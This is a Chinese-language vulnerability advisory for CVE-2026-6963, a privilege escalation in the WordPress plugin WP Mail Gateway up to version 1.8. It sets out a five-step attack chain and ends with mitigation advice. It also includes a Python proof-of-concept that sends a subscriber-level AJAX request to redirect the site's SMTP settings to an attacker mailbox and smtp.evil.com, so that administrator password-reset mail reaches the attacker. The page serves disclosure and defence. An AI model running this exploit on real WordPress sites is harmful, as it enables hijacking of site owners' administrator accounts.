IPBUF安全漏洞报告
English
CVE-2026-6963 CVSS 8.8 高危

CVE-2026-6963 WP Mail Gateway权限提升漏洞

披露日期: 2026-05-02

漏洞信息

漏洞编号
CVE-2026-6963
漏洞类型
权限提升
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WP Mail Gateway

相关标签

WordPress权限提升WP Mail GatewayBroken Access ControlPrivilege Escalation

漏洞概述

WordPress插件WP Mail Gateway在1.8及之前版本中存在权限缺失漏洞。由于`wmg_save_provider_config` AJAX操作缺少能力检查,低权限认证攻击者可利用该漏洞修改SMTP设置并劫持邮件,最终通过密码重置机制提升权限并接管管理员账户。

技术细节

该漏洞的核心机制在于插件未对`wmg_save_provider_config` AJAX动作执行`current_user_can`等权限检查函数。在受影响版本中,该接口直接接收并处理用户提交的配置参数,未验证发起请求的用户是否具备管理邮件设置的权限。因此,仅拥有订阅者权限的攻击者即可利用此缺陷,通过发送特制的POST请求篡改系统的SMTP发件人配置。攻击者将发件人邮箱修改为自身控制的地址后,随即触发管理员的密码重置流程。由于邮件路由已被劫持,包含密码重置令牌的邮件将被发送至攻击者邮箱,从而使其能够重置管理员密码并完全接管网站后台,实现从低权限用户到管理员的权限提升。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者在目标WordPress站点注册一个账户,通常默认为订阅者权限。
STEP 2
步骤2:发送恶意AJAX请求
攻击者利用订阅者权限,向`admin-ajax.php`发送包含`action=wmg_save_provider_config`的POST请求,修改SMTP配置中的发件人地址为攻击者控制的邮箱。
STEP 3
步骤3:触发密码重置
攻击者在登录页面请求重置管理员账户的密码。
STEP 4
步骤4:劫持重置链接
由于SMTP配置已被篡改,包含密码重置链接的邮件被发送至攻击者控制的邮箱,而非管理员邮箱。
STEP 5
步骤5:接管管理员权限
攻击者访问邮件中的重置链接,设置新密码,成功登录管理员后台,获取完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (WordPress admin-ajax.php) target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker's controlled email attacker_email = "[email protected]" # Simulate a logged-in subscriber session # In a real scenario, this cookie would be valid cookies = { "wordpress_logged_in_12345": "attacker_user_data..." } # Payload to exploit the missing capability check # The action 'wmg_save_provider_config' is vulnerable payload = { "action": "wmg_save_provider_config", "provider": "smtp", "from_email": attacker_email, # Overriding the admin email "from_name": "Admin", "host": "smtp.evil.com", "port": "25" } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] SMTP configuration potentially updated successfully.") print("[+] Check if password reset emails are now redirected.") else: print("[-] Request failed.") except Exception as e: print(f"Error: {e}")

影响范围

WP Mail Gateway <= 1.8

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用WP Mail Gateway插件。或者通过Web应用防火墙(WAF)规则拦截针对`wmg_save_provider_config`的AJAX请求,并严格监控SMTP配置的变更行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表